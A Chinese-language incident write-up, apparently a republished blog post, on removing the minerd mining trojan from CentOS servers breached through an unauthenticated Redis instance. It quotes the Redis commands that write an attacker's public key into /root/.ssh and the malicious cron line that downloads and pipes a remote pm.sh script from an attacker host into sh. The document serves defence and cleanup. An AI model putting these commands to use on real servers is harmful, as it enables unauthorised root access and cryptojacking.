徹底清除Linux centos minerd木馬


前幾天,公司兩台linux服務器,一台訪問速度很慢,cpu跑滿,一台免密碼登錄失效,公鑰文件被改寫成redis的key。用htop命令查詢發現了minerd木馬進程,初步猜測是redis沒有配訪問權限造成的。網上查詢minerd木馬,發現這是一個很常見的挖礦程序,相關猜測也得到了驗證。

下文是網上搜索到的清除minerd木馬方法。

現狀描述

1、top可以看到,這個minerd 程序把cpu跑滿了

1.jpg
2、ps aux | grep minerd
可知是這個程序: /opt/minerd

這個不是我們自己啟動的,可以斷定服務器被黑了
這個進程是root用戶啟動的,代碼有漏洞可能性不大(web服務是www用戶啟動的),多半黑客已經登錄服務器了

2.jpg
3、有可能是免密登錄了,去/root/.ssh 目錄下,並沒有發現authorized_keys,但發現了KHK75NEOiq這個文件

查看 vim KHK75NEOiq
可以看到內容就是免密碼登錄的公鑰

3.jpg
4、在ssh的配置文件/etc/ssh/sshd_config中也可以看到把AuthorizedKeysFile指向了這個文件了(.ssh/KHK75NEOiq)

猜想是這樣的:通過authorized_keys免密碼登錄后,在這個目錄下創建了KHK75NEOiq這個文件,修改了AuthorizedKeysFile的指向,就把authorized_keys這個文件刪除了。

4.jpg
5、那么是寫進來authorized_keys的那?

之前我處理過類似的問題,是redis未授權導致的,也就是說外網可以直接不用密碼登錄我的redis, 連上redis后,通過以下命令即可創建文件:

config set dir /root/.ssh
config set dbfilename authorized_keys
set key value,其中value為生成公鑰,即可將公鑰保存在服務器,使得登錄時不需要輸入賬號與密碼。



先堵住免登錄漏洞

1、修改ssh端口
編輯/etc/ssh/sshd_config文件中的Port 22將22修改為其他端口

2、禁止root用戶登陸
編輯/etc/ssh/sshd_config文件中的PermitRootLogin 修改為no

3、修改無密碼登陸的文件路徑
編輯/etc/ssh/sshd_config文件中的AuthorizedKeysFile 修改為其他文件路徑

4、刪除 .ssh下的 KHK75NEOiq

5、不讓外網直接連接
在 redis.conf 文件中找到#bind 127.0.0.1,把前面的#號去掉,重啟


找到木馬守護進程

1、通常直接kill掉進程,是不好使的,肯定有守護進程,還有系統自啟動,所以清理步驟是這樣的:
1)干掉守護進程
2)干掉系統自啟動
3)干掉木馬進程

找到木馬守護進程並干掉

守護進程有大概有兩種存在形式,crontab 和常駐進程,常駐進程得慢慢分析,我們先看crontab,有一條不是我創建的任務。任務是:直接從遠程下載一個腳本pm.sh 並執行。

5.jpg

2、我們來看看這個腳本

6.jpg

3、大致邏輯是這樣的:
1)把 */10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 寫入crontab
2)把authorized_keys刪掉,並創建免登錄文件/root/.ssh/KHK75NEOiq,修改ssh配置重啟
3)curl下載/opt/KHK75NEOiq33 這個文件,並執行安裝(/opt/KHK75NEOiq33 --Install),然后啟動ntp

4、基本可以斷定這個ntp就是守護進程,但看到ntp真的有些怕怕,ntp不是搞時間同步的嗎,其實 Linux正常的ntp服務叫ntpd,並非ntp,很有迷惑性啊

7.jpg

5、但為了讓自己放心,還是校驗了一番
我們先從時間上校驗,ntp是不是木馬任務后創建的

查看這個木馬任務第一次執行的時間
去/var/log下看cron的日志

8.jpg

6、Jul 24 09:23:01 第一次執行: curl -L http://r.chanstring.com/pm.sh?0703
Jul 24 09:30:01 第一次我們目前crontab里的任務:curl -fsSL http://r.chanstring.com/pm.sh?0706
Jul 24 09:49 腳本/etc/init.d/ntp的創建時間

從pm.sh這個腳本可知 curl下來/opt/KHK75NEOiq33這個文件,並執行安裝 /opt/KHK75NEOiq33 --Install 比較耗時間,我執行了一下,在我的機器上是10多分鍾。

所以創建時間上基本吻合

9.jpg

7、我們看一下ntp的隨系統啟動
runlevel 2 3 4 5都啟動了,夠狠的呀

10.jpg

8、看一下常用的3吧
可以看到 有個S50ntp 軟鏈了腳本/etc/init.d/ntp

11.jpg

9、我們查看系統啟動日志
vim /var/log/boot.log
有一條是Staring S50ntp,這個基本對應腳本/etc/init.d/ntp 中的 echo "Starting $name"

12.jpg

10、我們來看一下 /etc/init.d/ntp 這個腳本
$name應該就對應的值是 S50ntp,通過stdout_log,stderr_log,pid_file也得到了驗證。

13.jpg

11、通過搜索安裝文件(/opt/KHK75NEOiq33),可知看到 /opt/KHK75NEOiq33 --Install的過程中寫入了ntp腳本 自啟動 /opt/minerd等一系列的操作。

14.jpg

12、打開 /usr/local/etc/minerd.conf,內容就是/opt/minerd這個進程后的一些參數

15.jpg

13、好了 驗證完畢,可以干掉這個ntp了


清理木馬

1、去掉crontab文件中的有關木馬內容:
/var/spool/cron/crontabs/root
/var/spool/cron/root

2、干掉守護進程ntp,並刪除相關文件

16.jpg
17.jpg

3、干掉木馬進程及其文件

18.jpg

4、干掉安裝文件及免密登錄的文件

19.jpg

5、干掉隨系統啟動的文件

20.jpg

6、top一下 一切都正常了!

21.jpg

7、重啟一下,也沒問題了

22.jpg


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM